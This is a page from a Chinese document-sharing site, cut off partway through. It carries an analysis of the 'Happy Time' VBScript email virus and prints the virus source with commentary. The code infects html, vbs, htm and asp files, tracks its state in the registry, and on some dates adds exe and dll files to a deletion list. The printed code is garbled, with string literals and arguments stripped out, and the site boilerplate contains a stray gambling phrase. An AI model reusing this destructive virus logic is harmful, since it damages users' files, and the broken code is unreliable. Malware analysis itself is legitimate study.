网站大量收购闲置独家精品文档,联系QQ:2885784924

欢乐时光代码分析.docx

  1. 1、本文档共28页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多

欢乐时光代码分析

“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库成功地避开了安全审核的手段更是令人叹为观止。

下面让我们来看看它藏在快乐的外衣下的是什么吧!

***************欢乐时光***************

RemIamsorry!happytime

OnErrorResumeNext

Mload

?以上为病毒入口,并加上Iamsorry!happytime的注释,以表明此文件已被感染过。

Submload()

OnErrorResumeNext

mPath=Grf()

SetOs=CreateObject()

SetOh=CreateObject()

?建立枚举对象,避开了安全审核

IfIsHTMLThen

?调用IsHtml函数,如果是Html,就小写……

mURL=LCase()

IfmPath=Then

=C:“

=Lhtml()

()

?如果mPath为空,就在C盘下生成

Ihtml=

?超文本的内容,并指向C:“

Call(AfterBegin,Ihtml)

Else

IfIv(mPath,)Then

setIntervalRt(),10000

Else

m=hta

IfLCase(m)=Right(mURL,Len(m))Then

id=setTimeout(mclose(),1)

?设置超时条件

main

Else

()

=mPath“

=Lhtml()

()

IvmPath,

?生成

EndIf

EndIf

EndIf

Else

Main

?都不是,就执行main函数

EndIf

EndSub

?******************************************************************

?以下为主函数,太长了!

Submain()

OnErrorResumeNext

SetOf=CreateObject()

?不用说,创建FileSystemObject对象啦

SetOd=CreateObject()

?创建Dictionary对象,用来保存数据键和项目对,它实际上是一个比较开放的数组

html,1100

vbs,0100

htm,1100

asp,0010

?向Dictionary对象添加要感染的项目对

Ks=HKEY_CURRENT_USER“Software“

?使用变量以减少代码长度

Ds=Grf()

Cs=Gsf()

IfIsVbsThen

?如果是VBS

If(C:“)Then

(C:“)

?如果c:“存在,就删掉,消灭遗留的痕迹

EndIf

Key=CInt(Month(Date)+Day(Date))

IfKey=13Then

?如果月与日之和为13

exe,0001

dll,0001

?就清空Dictionary数组,并将exe、dll加入Dictionary对象,以备删除之用

EndIf

Cn=Rg(KsHelp“Count)

?读注册表中的HKEY_CURRENT_USER“Software“Help“Count键值

IfCn=Then

Cn=1

?如果Count为0,就设为1

EndIf

RwKsHelp“Count,Cn+1

?添加HKEY_CURRENT_USER“Software“Help“Count键值,值为2

f1=Rg(KsHelp“FileName)

?再读HKEY_CURRENT_USER“Software“Help“FileName键值

f2=FNext(Of,Od,f1)

?得到该文件的文件名

fext=GetExt(Of,Od,f2)

?得到该文件扩展名的代号

RwKsHelp“FileName,f2

?添加键值

IfIsDel(fext)Then

?如果扩展名代号的第四个字符为1——即0001(exe、dll)

f3=f2

?储存文件名

f2=FNext(Of,Od,f2)

?得到文件的文件名?

RwKsHelp“FileName,f2

?写注册表

f3

?删除文件

Else

IfLCase()LCase(f2)Then

?如果不是集合中的文件

FwOf,f2,fext

EndIf

EndIf

If(CInt(Cn)Mod366)=0Then

If(CInt(Second(Time))Mod2)=0Then

?使用Cint函数强制执行转换,并

您可能关注的文档

文档评论(0)

180****1080 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档